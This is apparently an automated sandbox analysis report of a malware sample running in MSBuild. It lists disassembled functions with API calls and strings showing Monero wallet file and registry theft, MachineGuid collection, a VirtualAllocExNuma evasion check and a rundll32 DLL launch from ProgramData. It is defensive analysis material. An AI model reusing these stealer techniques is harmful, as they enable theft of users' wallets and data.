Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction ID: 2364c372bad150323d67af03c4d359b51cc93a95bd900eacfe79e48eddbf336c
Opcode Fuzzy Hash: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction Fuzzy Hash: 13515EB1E5011D9BCF11EB25DD466DD7379AF04308F1050BAB60873191DA78AFC98F48

Function 00415DF7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9
Part of subcall function 00415B0B: CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86
Part of subcall function 00415B0B: DeleteFileA.KERNEL32(?), ref: 00415CA9

Strings

\{A, xrefs: 00415FC2

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID: \{A
API String ID: 1546541418-1475862525
Opcode ID: d4b2bde86fe4251d1723cf1afd7b1acd461b49a3d9a868b58b9625d100857c79
Instruction ID: 1319a00e3beaa56ad984c577cc8328c236cda2b61ebb5edaa0c38c4a30c6fdde
Opcode Fuzzy Hash: d4b2bde86fe4251d1723cf1afd7b1acd461b49a3d9a868b58b9625d100857c79
Instruction Fuzzy Hash: 1E51FBB1A0011C9BCF54DB64DC85ADDB7B9BB4C315F4044EAFA09E3250EA35AB898F58

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction ID: 446351bc283c4762e53d247ac54b49bb6219315ee7fac77137ec1a6eb046dabb
Opcode Fuzzy Hash: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction Fuzzy Hash: 4A5191B1D0022C9FDB309F54DC85BDDB7B8AB44308F0001FAA609B7692D6796E898F59

Function 0041566F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
RegCloseKey.ADVAPI32(?), ref: 004156F6
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Strings

.{A, xrefs: 004157FE

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID: .{A
API String ID: 3891774339-8545219
Opcode ID: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction ID: b4758eb7aeb23ac53986d5a941949a19eceae9c1109b67c9f6111efe06dcff68
Opcode Fuzzy Hash: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction Fuzzy Hash: 0C41C07194011D9FDF24EF60EC86EE9777ABB18309F4004AAB509A31A0EE759FC58F94

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 004115D4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
CharToOemA.USER32(?,?), ref: 0041166B

Strings

MachineGuid, xrefs: 00411640
SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction ID: c9c539ce5467448423737f6d9a950d2a9d5193a79ae08df00dacda0898e1b174
Opcode Fuzzy Hash: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction Fuzzy Hash: 7B111EB590021DAFDB10DF90DC89FEAB7BDEB04309F5041E6A659E2052E6759F888F14

Function 00401A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction ID: 3e4ac90b5bcc3d6fe188be62ffa2ac0dd84bb3fe34a2510e6e6e226720dcc0e4
Opcode Fuzzy Hash: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction Fuzzy Hash: 15F05475780304BFFF14DB90DC0EFAE7A7DDB44B06F141065B601A51D0E7B66A50D664

Function 00410B30 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95
RegCloseKey.ADVAPI32(00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B9E

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD
RegCloseKey.ADVAPI32(00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410C06

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction ID: 0994ca530c552eb12484d48fed68a7c00db0df5c681817d2f603923d478d8980
Opcode Fuzzy Hash: c2f6d16d6af2cd9c2543edbdd70375dccd549122af3fd15938b7ee4cd554efb1
Instruction Fuzzy Hash: B1114C75A0420ADFCB019FA4CC989EEBBB5AF49310F64417EF215E73A0CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,004185DC), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction ID: 46aed83c215a1155ddf1663667cd5ec87320cd9fa35168939231c0eb8388c106
Opcode Fuzzy Hash: a924c371d945ebb2b407fd39f7f412d7c5603bda08bc6eafd39d46e5dedd0ee5
Instruction Fuzzy Hash: 57F0C27278122077F22422763C6EFAB5A6C9B42F56F205035F309FB2D0D66998049ABC

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
.dll, xrefs: 004129ED
"" , xrefs: 00412A32
C:\ProgramData\, xrefs: 00412995

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches
